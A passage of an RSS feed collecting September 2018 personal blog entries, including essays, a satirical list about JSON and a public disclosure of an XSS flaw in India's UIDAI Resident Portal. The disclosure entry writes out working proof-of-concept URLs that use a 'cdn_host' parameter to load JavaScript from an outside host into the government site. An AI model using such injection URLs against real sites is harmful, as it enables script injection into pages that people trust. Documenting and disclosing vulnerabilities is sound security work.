&lt;p&gt;So after I had my dockerized development setup working, I went to continue my long-postponed effort to upgrade to the nom v4 crate. I was delighted to discover that in the lengthy interim, all my direct dependencies had already upgraded to nom v4. So I spent a while chasing compilers errors and making the necessary code adjustments. I almost gave up a few times, but eventually the thing compiled! I almost didn't believe the terminal. But it compiles now and all the unit tests still pass and it seems to work, so I'm pleased with that.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Mon, 17 Sep 2018 04:00:51 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/09/tealeaves-gets-rust-and-docker-updates/</guid></item><item><title>Always Waiting</title><link>https://taylor.town/always-waiting</link><description>&lt;p&gt;I find myself waiting for things a lot.&lt;/p&gt;
&lt;p&gt;I'd like to become a person who doesn't wait for things.&lt;/p&gt;
&lt;p&gt;But I guess I'm waiting for that to happen too.&lt;/p&gt;</description><author>taylor.town</author><pubDate>Mon, 17 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/always-waiting</guid></item><item><title>Be Unreasonable</title><link>https://taylor.town/being-unreasonable</link><description>&lt;p&gt;It's really useful to be &lt;em&gt;unreasonable&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;When you have a large task ahead of you, try asking yourself some odd questions. Like, "what if I finished it in 1/10th of the time?" or "what it got 100x more users than anticipated?".&lt;/p&gt;
&lt;p&gt;Start with "crazy ideas" and "unrealistic expectations", and then play around for a bit! By working backwards from unreasonable demands, you'll devise bolder schemes!&lt;/p&gt;</description><author>taylor.town</author><pubDate>Mon, 17 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/being-unreasonable</guid></item><item><title>Plausible Deniability</title><link>https://taylor.town/plausible-deniability</link><description>&lt;blockquote&gt;
  &lt;p&gt;Three people in a public restroom is a chorus. Two people in a public restroom
  is a standoff.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You're browsing emails atop your porcelain throne. You chose the stall furthest
from the door, because -- we never know -- it's probably cleanest.&lt;/p&gt;
&lt;p&gt;And then you hear the dreaded sound: the door opens. You double check that your
stall is locked (just in case The Stranger tugs on your door, leaving you
completely exposed in this all-too-human position). And just in case, you
shuffle your feet forward to signal that "this stall is occupied". The Stranger
accepts your message and chooses the furthest stall away from you.&lt;/p&gt;
&lt;p&gt;At this point, all sounds are sacred. You may not particularly mind hearing the
other person's lunch, but &lt;em&gt;by golly&lt;/em&gt; The Stranger is not going to hear yours.&lt;/p&gt;
&lt;p&gt;There's one major defensive strategy during potty standoffs: create masking
noise.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Coordinating flushes/coughs/sneezes with flatulence/ploops is a classic
defensive move.&lt;/li&gt;
&lt;li&gt;If you or The Stranger were particularly averse to standoffs, he/she could've
turned on some faucets from the sink to create some noise -- it's an uncommon,
albeit completely legitimate defensive move.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course, The Stranger is in on the ruse too, because he/she uses the same
tactics. But the goal is not to not be heard, but to create plausible
deniability for yourself. Because you &lt;em&gt;can't stand&lt;/em&gt; the idea of knowing that The
Stranger knows that you know that they know the timbre of your anal sphincter.&lt;/p&gt;</description><author>taylor.town</author><pubDate>Mon, 17 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/plausible-deniability</guid></item><item><title>Brainstorming the SnailLife gene system</title><link>https://liza.io/brainstorming-the-snaillife-gene-system/</link><description>&lt;p&gt;In the original PHP prototype of SnailLife there exists a very rudimentary genetics system. Snails had what I called &amp;ldquo;visual traits&amp;rdquo; and &amp;ldquo;functional traits&amp;rdquo;. Visual traits had genes associated with them. The genes were all stored in the snail&amp;rsquo;s table and each gene had two &amp;ldquo;alleles&amp;rdquo;. During breeding I&amp;rsquo;d make virtual Punnett Squares of sorts to pass on genes from parents to offspring. But the system was inflexible - each allele for each gene and each gene type were hard coded in the snails table. This left little room for surprise emergent behaviour (ie is it possible for a snail to accidentally get more or fewer variations of a gene than expected? I&amp;rsquo;m not sure, but I want a system to support that) without having to modify db columns).&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 16 Sep 2018 17:54:06 GMT</pubDate><guid isPermaLink="true">https://liza.io/brainstorming-the-snaillife-gene-system/</guid></item><item><title>Tutorial Markdown</title><link>https://tholman.com/post/tutorial-markdown/</link><description>I’ve open sourced the magic behind the generative artistry website, aptly named tutorial markdown</description><author>The Curious Creations of Tim Holman</author><pubDate>Sun, 16 Sep 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://tholman.com/post/tutorial-markdown/</guid></item><item><title>Searching for Sanity</title><link>https://bpev.me/notes/searching-for-sanity</link><author>bpev.me</author><pubDate>Sun, 16 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bpev.me/notes/searching-for-sanity</guid></item><item><title>New Job, New City</title><link>https://trigonaminima.github.io/2018/09/new-job-new-city/</link><description>In my adult life, I have never lived outside Delhi for more than a month. I came here at the start of 6th Standard (or Grade). During my 12 Standard, I used to daydream about going to a college outside Delhi. I’ll live in a hostel and enjoy the broke but independent life of a hosteler. Little did I know that I’ll be doing my undergrad from a college in Delhi itself, as a day scholar. Then came the placement season. This time again, I thought I’ll get to go outside my home city. And, this time I wont be (too) broke either. Yet again, I got a job in Noida, very close to Delhi. Now, after working for 2 years in Delhi, I have finally moved to a different city - Bangalore - also known as City of Gardens and City of Lakes and in tech industry, the Silicon Valley of India. I have joined as a Data Scientist in Reliance Jio.</description><author>Playground</author><pubDate>Sun, 16 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2018/09/new-job-new-city/</guid></item><item><title>Solving problem-finding</title><link>https://stephango.com/solving-problem-finding</link><description>&lt;p&gt;Methodologies for problem-solving are fairly well established. The scientific method is perhaps the best problem-solving template we have. However, &lt;em&gt;finding&lt;/em&gt; good problems to solve is a different skill altogether, one that we don’t teach.&lt;/p&gt;

&lt;p&gt;Problem-finding is about looking for an area that you can invest your problem-solving skills into. It’s the intersection between problems worth solving, and problems you will be good at solving.&lt;/p&gt;

&lt;p&gt;Problem-finding is harder than problem-solving because there is no established methodology around it. It’s a hole in our educational system because it leads to people dedicating valuable years of their lives to problems that aren’t particularly important.&lt;/p&gt;

&lt;p&gt;Common wisdom encourages us to solve the problems we see in our immediate surroundings — in writing it’s distilled as “write what you know”, but it can be generalized as “do what you know”.&lt;/p&gt;

&lt;p&gt;Without deep experience in a specific field, this approach rarely yields good problems to solve, usually for one or both of these reasons:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The problem is very personal, it doesn’t help very many people&lt;/li&gt;
  &lt;li&gt;The gains to be made are small&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Of course there are many big problems in the world that are well-documented.&lt;/p&gt;

&lt;p&gt;What I’ve found is that most problems that are worth solving aren’t immediately obvious, even if they turn out to be big problems. Often it’s because everyone dealing with the problem has given up on solving it, or they’ve gotten so used to the problem that they don’t notice it anymore.&lt;/p&gt;

&lt;p&gt;Every complex system has problems. Most industries are complex and ripe for problem-finding. The challenge is knowing enough about the domain, yet retaining the beginner’s mind necessary to actually see the problem.&lt;/p&gt;

&lt;p&gt;If you are coming out of school, or embarking on an entrepreneurial path, it really helps to put in a few years in an industry. Anything you are interested in will do. Try to understand it from the inside out, and study the inefficiencies. Do the work yourself, feel the pain. Stay curious, and keep branching out until you can see the whole picture.&lt;/p&gt;

&lt;p&gt;The problems you will be solving in your work are probably not the important ones to solve. The real problem will be more meta, it will be that you have to spend time solving these smaller problems in the first place.&lt;/p&gt;

&lt;p&gt;The problem you should solve is the biggest problem you are capable of solving. Perhaps that is why problem finding is such a hard problem in itself — someone needs to care about the problem before it can be found.&lt;/p&gt;</description><author>Steph Ango</author><pubDate>Sun, 16 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://stephango.com/solving-problem-finding</guid></item><item><title>Growth Accounting and Backtraced Growth Accounting</title><link>https://bytepawn.com/backtraced-growth-accounting.html</link><description>&lt;p&gt;Previously I wrote two articles about data infra and data engineering at Fetchr. This time I want to move up the stack and talk about a simple piece of metrics engineering that proved to be very impactful: Growth Accounting and Backtraced Growth Accounting.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Backtraced Growth Accounting" src="/images/ga_read_off.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Sun, 16 Sep 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/backtraced-growth-accounting.html</guid></item><item><title>Comments to "Whither Peer Production"</title><link>https://stop.zona-m.net/2018/09/comments-to-whither-peer-production/</link><description>&lt;p&gt;&amp;ldquo;Then Peer Production sat down and wept, because there were not other worlds for her to conquer&amp;rdquo;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 15 Sep 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/09/comments-to-whither-peer-production/</guid></item><item><title>Networking Essentials: Routing</title><link>https://www.swyx.io/networking-essentials-routing-5gb7</link><description>&lt;p&gt;How the Internet cobbles together thousands of Autonomous Systems with the Border Gateway Protocol&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sat, 15 Sep 2018 10:25:35 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-routing-5gb7</guid></item><item><title>Becoming</title><link>https://taylor.town/becoming</link><description>&lt;p&gt;I often think that I'd like to do everything. Of course that'd be nice, but I
think what I really want is to become the type of person that can do everything.&lt;/p&gt;
&lt;p&gt;It's not about experience -- it's about ability. Some people derive their
self-worth from the places they've been. But narcissists like me measure
themselves by where they could've been if they tried.&lt;/p&gt;
&lt;p&gt;In this way, people like me never actually get anywhere. We end our journeys
prematurely, right after we purchase the tickets. We say, "Oh, I'm sure it's
just like the pictures" when we really mean "I could travel, but it's too much
work".&lt;/p&gt;
&lt;p&gt;There isn't any problem with not-travelling. The problem is that all the money
spent on tickets-to-nowhere add up over time, and the inescapable reality sets
in once you realize that you can't fill scrap books of things that never took
place.&lt;/p&gt;
&lt;p&gt;To reiterate, the problem is not being stagnant. And the problem is not
planning, if you enjoy planning. The problem is planning for a journey that
you'll never attempt. Why not plan for an adventure at-home? Or somewhere that
you actually want to go?&lt;/p&gt;
&lt;p&gt;Stop pretending to be a person that could travel, and just stay at home. And
you'll be surprised at the places you'll go!&lt;/p&gt;</description><author>taylor.town</author><pubDate>Sat, 15 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/becoming</guid></item><item><title>JSON Considered Harmful</title><link>https://taylor.town/json-considered-harmful</link><description>&lt;p&gt;So you want to powerful systems to talk to each other over a network with limited capacity and unreliable connections?&lt;/p&gt;
&lt;p&gt;Let's try to build the worst "universal" notation possible:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Ensure that the common notation that all the systems speak is extremely low-level, so that you have to encode/decode all the complexity of modern programming languages back-and-forth from lists of strings and numbers and booleans. Please don't add any data-types for &lt;code&gt;NaN&lt;/code&gt;, &lt;code&gt;Infinity&lt;/code&gt;, &lt;code&gt;undefined&lt;/code&gt;, time, dates, currency, rationals, enumerable types, sets, symbols, tags, regular expressions, errors, functions, ADTs, IDs, paths, addresses, characters, or objects. Don't include these, especially if its parent language understands them completely. It's completely reasonable to expect that systems on both sides will always perfectly understand what the value is supposed to mean, and that we can encode/decode them with no errors.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make absolutely no formalized system of discovery. No documentation standards, no schemas, nothing. The developers on both ends of communication will surely double-check that the &lt;code&gt;id&lt;/code&gt; that they're passing back-and-forth refers to the same data on both systems. And because it's encoded in a low-level notation (see #1), they'll absolutely make sure to document things in such a way that other developers can refer back to exactly what each key means in an associative array.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;We don't want computers that are able to figure out how to communicate with each other, either! Don't give a common repository of objects/schemas for both systems to agree upon, so that they can ease the programmer's burden. Otherwise, how will engineers get paid?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Under no circumstances should this notation have any capacity to talk about functions. It would be ridiculous to enable computers to talk about the most fundamental part of programming. It's much better if programmers have to encode/decode data into code, and check for vulnerabilites at the data level.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you make API generators, make sure that they're only in languages that nobody uses.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make sure that everything can be optional! Every system will equivalently handle missing keys with those keys set to null.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Even though we only have numbers, strings, and arrays, make sure that every time we make an API, we have to manually program the constraints of each range. Under no circumstances should we make libraries to check that something is say, not negative. It doesn't make sense, in any language, to make libraries that generate interfaces based on schemas. Because obviously we want to re-write the interface in every system that touches the data.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Please require that the top-level data CANNOT be a single value. Even though the language is just arrays, strings, and numbers, you definitely shouldn't be able to send strings or numbers without wrapping them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Give us way of executing programs on other machines (JSON-RPC), and make sure that nobody uses.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make sure that the system is not extensible! Nobody will ever want to change the protocol to fit their needs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make sure that unescaped strings break the languages that it's designed for!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make inconsistent standards on parsing scientific numbers (e.g. &lt;code&gt;4e-21&lt;/code&gt;). Of course computers won't want to ever talk about very large or very small numbers.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Even if processing is cheap and bandwidth is expensive, make sure it takes up as much space as possible in the network. Oh, and don't make it easy to encode/decode either. Unique data-types would help reduce the size of messages, but we don't want that.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Never, ever, send programs to computers! Especially if it's just talking to a database and it makes sense to send a query. Don't put any work into formalizing database security and sanitization. It makes much more sense to extend our API every time we want a slightly different query.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Even if two computers speak the same language, don't serialize native data-types in a common way. Make the programmer do it by hand.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use different protocols for everything! If it's good enough for remote connections, it's probably not good-enough for inter-process communication. We want to make as many different interfaces as possible, which won't affect security or development time.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make it hard to stream! Computers don't need to stream things.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don't make any formalized system of authentication using this notation. If you do, make JSON Web-Tokens, which are hard to use and have serious vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Actually, put vulnerabilities in all the major parsers that people use. Nobody will ever try to make the parsers work extra hard in order to crash remote systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don't make any easy ways to convert one notation to another. And if you do, reimplement it from scratch in each language rather than making a common meta-schema that each language can implement just once and be done.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don't standardize any objects or APIs. Everybody is unique!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make support for references, but then break every parser that tries to use them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don't make it "zero-copy". We want every computer to use its memory inefficiently when trying to read it from the socket.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don't package any recommendations for how to read the data with the data object itself. It's too confusing to send encoders with the data. Let's just have different programmers make encoders/decoders for every system.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Under no circumstances should encoders/decoders work both ways! Encoders and decoders are not mirror-images of each other, and they shouldn't be. Systems won't break if we interpret in different ways on different systems. Plus, we want to write everything twice! After all, our notation is very complicated, despite the fact it has no complex data-types and is pretty much reversible in every mapping we can imagine.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don't package any indication of the serialization format with the data. That way, we have to use &lt;code&gt;JSON.parse&lt;/code&gt;, &lt;code&gt;XML.parse&lt;/code&gt;, etc. rather than having a singular &lt;code&gt;parse&lt;/code&gt; function.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make sure that all parsers interpret common values like &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;NaN&lt;/code&gt;, and &lt;code&gt;Infinity&lt;/code&gt; as strings, with no warnings or errors. It's much more exciting to hunt down the bug when it happens in production.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The alternatives to the "universal notation" should be orders-of-magnitude worse than the most popular option. Stockholm Syndrome forever!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Most parsers shouldn't give you the line and character where the mistake occurred. Programmers love trying to find single-character syntactical errors in large bodies of text!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make a universally-accepted text-encoding (Unicode) and don't properly support it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Don't allow comments!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Even though the types are simple enough for most databases to read the notation, force programmers to encode the data before putting it into the database. You definitely need to have three different layers of encoding for simple insert/update operations.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make the universal language unconnected to byte streams! There's no reason to ever connect packets of arbitrary data (like video) to higher-level data types. Make them do extra network calls for images! There's no reason to allow images inside of this format, for any reason.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Make the universal language resistant to skipping! The parser must read everything, even if it doesn't need to!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When you make an API, only define the outer interface for it, in a non-standardized format. Make sure that every person that wants to interact with your system has to read your documentation and re-implement the same thing. Of course they don't want to drop in a schema and automatically generate a type-safe boundary layer! They really want to do all the dirty work and figure out the quirks of your poorly-implemented API.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;</description><author>taylor.town</author><pubDate>Sat, 15 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/json-considered-harmful</guid></item><item><title>Summer Haute Route - Part 4: Verbier, Champex</title><link>https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-4-verbier-champex/</link><description>&lt;h1&gt;Onwards down to La Chable and Champex.&lt;/h1&gt;&lt;p&gt;Arguably the most beautiful town in the European Alps, Verbier overlooks the most picturesque valley. After the last few days of rocks, scrambling and mountains, this all seems rather civilised.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549728184/IMG_4576.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After a day hiking along the valley floor, again I'm ascending into the hills towards Lac Champex.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549728519/IMG_4587.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Again this doesn't disappoint.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1549728473/IMG_4590.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sat, 15 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/summer-haute-route-2018/part-4-verbier-champex/</guid></item><item><title>Aadhaar Vulnerability Public Disclosure</title><link>https://captnemo.in/blog/2018/09/15/aadhaar-disclosure/</link><description>&lt;h1 id="the-vulnerability"&gt;The Vulnerability&lt;/h1&gt;

&lt;p&gt;The UIDAI Resident Portal (with read access to entire Aadhaar Demographic data) is runing a vulnerable version
of LifeRay software. It is running LifeRay 6.1, which was declared End-of-Life in Febrary 2016.&lt;/p&gt;

&lt;p&gt;This release includes multiple known vulnerabilities, including:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;A XSS issue, for which a PoC can be found at &lt;a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun"&gt;resident.uidai.gov.in&lt;/a&gt; (Picture Credits: &lt;a href="https://twitter.com/sanitarypanels"&gt;@sanitarypanels&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Multiple RCEs: See &lt;a href="https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-62"&gt;issue-62&lt;/a&gt; for eg.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In fact the release is so old it does not even appear on the &lt;a href="https://portal.liferay.dev/learn/security/known-vulnerabilities"&gt;“Known Vulnerabilities”&lt;/a&gt; page on the LifeRay website; you have to go look at their &lt;a href="https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-62"&gt;Archived Vulnerabilities&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id="the-poc"&gt;The PoC&lt;/h1&gt;

&lt;p&gt;You can find a simple Proof of Concept for the XSS issue at &lt;a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun"&gt;resident.uidai.gov.in&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;cdn_host&lt;/code&gt; parameter injects javascript from &lt;code class="language-plaintext highlighter-rouge"&gt;$CDN_HOST/Resident-theme/js/custom.js&lt;/code&gt;, in this case &lt;code class="language-plaintext highlighter-rouge"&gt;https://scan.bb8.fun/Resident-theme/js/custom.js&lt;/code&gt; which hosts a small snippet to overwrite the HTML of the page.&lt;/p&gt;

&lt;p&gt;It shows up like:&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/img/aadhaar1.jpg" /&gt;&lt;/p&gt;

&lt;h1 id="fun"&gt;Fun&lt;/h1&gt;

&lt;p&gt;The current script allows for embeding any tweet using a &lt;code class="language-plaintext highlighter-rouge"&gt;tweet&lt;/code&gt; parameter. To embed:&lt;/p&gt;

&lt;p&gt;Go to any tweet, copy the part after &lt;code class="language-plaintext highlighter-rouge"&gt;twitter.com&lt;/code&gt; and pass it as the &lt;code class="language-plaintext highlighter-rouge"&gt;tweet&lt;/code&gt; parameter. For eg, to embed this tweet:&lt;/p&gt;

&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;Breaking: Exclusive footage from inside &lt;a href="https://twitter.com/UIDAI?ref_src=twsrc%5Etfw"&gt;@UIDAI&lt;/a&gt;'s IT department after media reports of Aadhaar data leaks. &lt;a href="https://t.co/W7m9L0HvEX"&gt;pic.twitter.com/W7m9L0HvEX&lt;/a&gt;&lt;/p&gt;&amp;mdash; Aadhaar Compound Wall (@13footwall) &lt;a href="https://twitter.com/13footwall/status/979301578686345216?ref_src=twsrc%5Etfw"&gt;March 29, 2018&lt;/a&gt;&lt;/blockquote&gt;


&lt;ol&gt;
  &lt;li&gt;Look at the URL: &lt;code class="language-plaintext highlighter-rouge"&gt;https://twitter.com/13footwall/status/979301578686345216&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Copy &lt;code class="language-plaintext highlighter-rouge"&gt;13footwall/status/979301578686345216&lt;/code&gt; and pass it as the &lt;code class="language-plaintext highlighter-rouge"&gt;tweet parameter&lt;/code&gt;:&lt;/li&gt;
  &lt;li&gt;The URL becomes&lt;code class="language-plaintext highlighter-rouge"&gt;https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&amp;amp;tweet=13footwall/status/979301578686345216&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://resident.uidai.gov.in/?cdn_host=https://scan.bb8.fun&amp;amp;tweet=13footwall/status/979301578686345216"&gt;&lt;strong&gt;SHARE IT&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id="the-report"&gt;The Report&lt;/h1&gt;

&lt;p&gt;I initially reported this to &lt;code class="language-plaintext highlighter-rouge"&gt;help@uidai.gov.in&lt;/code&gt; in Jan 2017:&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/img/aadhaar-report1.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Forgot all about it till Jan 2018, when someone mentioned I should try my luck with CERT-IN instead:&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/img/aadhaar-report2.png" /&gt;&lt;/p&gt;

&lt;h1 id="update"&gt;Update&lt;/h1&gt;

&lt;p&gt;There is &lt;a href="https://twitter.com/kingslyj/status/1040985678408871937"&gt;some confusion&lt;/a&gt; regarding which version of LifeRay
is UIDAI running. They seem to be running 6.1.1, released in 2013-02-26.&lt;/p&gt;

&lt;p&gt;The exact version is not relevant to the fact that UIDAI is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;running an unsupported release&lt;/li&gt;
  &lt;li&gt;which is 5 year old&lt;/li&gt;
  &lt;li&gt;not updating it despite being notified multiple times&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;0800 16-Sep&lt;/em&gt;: UIDAI seems to have patched the issue by putting a block on the &lt;code class="language-plaintext highlighter-rouge"&gt;cdn_host&lt;/code&gt; parameter. This still leaves them vulnerable to multiple vulnerabilities until they update to a supported release.&lt;/p&gt;

&lt;h1 id="timeline"&gt;Timeline&lt;/h1&gt;

&lt;p&gt;The vulnerability is still not fixed. Here is a complete timeline:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;What?&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;16 Jan 2017&lt;/td&gt;
      &lt;td&gt;Initially reported to &lt;code class="language-plaintext highlighter-rouge"&gt;help@uidai.gov.in&lt;/code&gt;. No response&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;21 Jan 2018&lt;/td&gt;
      &lt;td&gt;Reported to &lt;code class="language-plaintext highlighter-rouge"&gt;ceo@uidai.gov.in&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;info@cert-in.org.in&lt;/code&gt;. No response&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;19 Feb 2018&lt;/td&gt;
      &lt;td&gt;Reminder sent to &lt;code class="language-plaintext highlighter-rouge"&gt;ceo@uidai.gov.in&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;info@cert-in.org.in&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;19 Feb 2018&lt;/td&gt;
      &lt;td&gt;Acknowledgement from CERT&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;15 Mar 2018&lt;/td&gt;
      &lt;td&gt;Reminder sent. No response&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;17 Mar 2018&lt;/td&gt;
      &lt;td&gt;Notified &lt;a href="mailto:rvdp@nciipc.gov.in"&gt;NCIIPC&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;18 Mar 2018&lt;/td&gt;
      &lt;td&gt;Confirmation from NCIIPC asking for more details. I replied back with a quote of previous exchange&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;19 Mar 2018&lt;/td&gt;
      &lt;td&gt;Confirmation from NCIIPC thanking me for the report.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;19 Apr 2018&lt;/td&gt;
      &lt;td&gt;Reminder sent to UIDAI asking for acknowledgement&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;30 May 2018&lt;/td&gt;
      &lt;td&gt;Reminder sent to NCIIPC and CERT asking for updates&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The only change that I’m aware of since my initial report is that the website stopped declaring the &lt;a href="https://en.wikipedia.org/wiki/Security_through_obscurity"&gt;LifeRay version in a HTTP response Header&lt;/a&gt;.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Sat, 15 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2018/09/15/aadhaar-disclosure/</guid></item><item><title>Westworld: Season 2</title><link>https://olshansky.info/tv/westworld_season_2/</link><description>Olshansky's review of Westworld: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 14 Sep 2018 15:03:59 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/westworld_season_2/</guid></item><item><title>Why I share OLD bookmarks</title><link>https://stop.zona-m.net/2018/09/why-i-share-old-bookmarks/</link><description>&lt;p&gt;This month, I started sharing lots of OLD (5 or more years old) web pages. Yesterday, I discovered why.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 14 Sep 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/09/why-i-share-old-bookmarks/</guid></item><item><title>Case study: R (tidyverse) vs Python (pandas)</title><link>http://negfeedback.blogspot.com/2018/09/case-study-r-tidyverse-vs-python-pandas.html</link><description>&lt;h2&gt;
The problem&lt;/h2&gt;
An old friend e-mailed me a challenge today. He was working with a data file which contains measurements of compounds from groundwater taps. The file looks like this (when opened in a spreadsheet program):&lt;br /&gt;
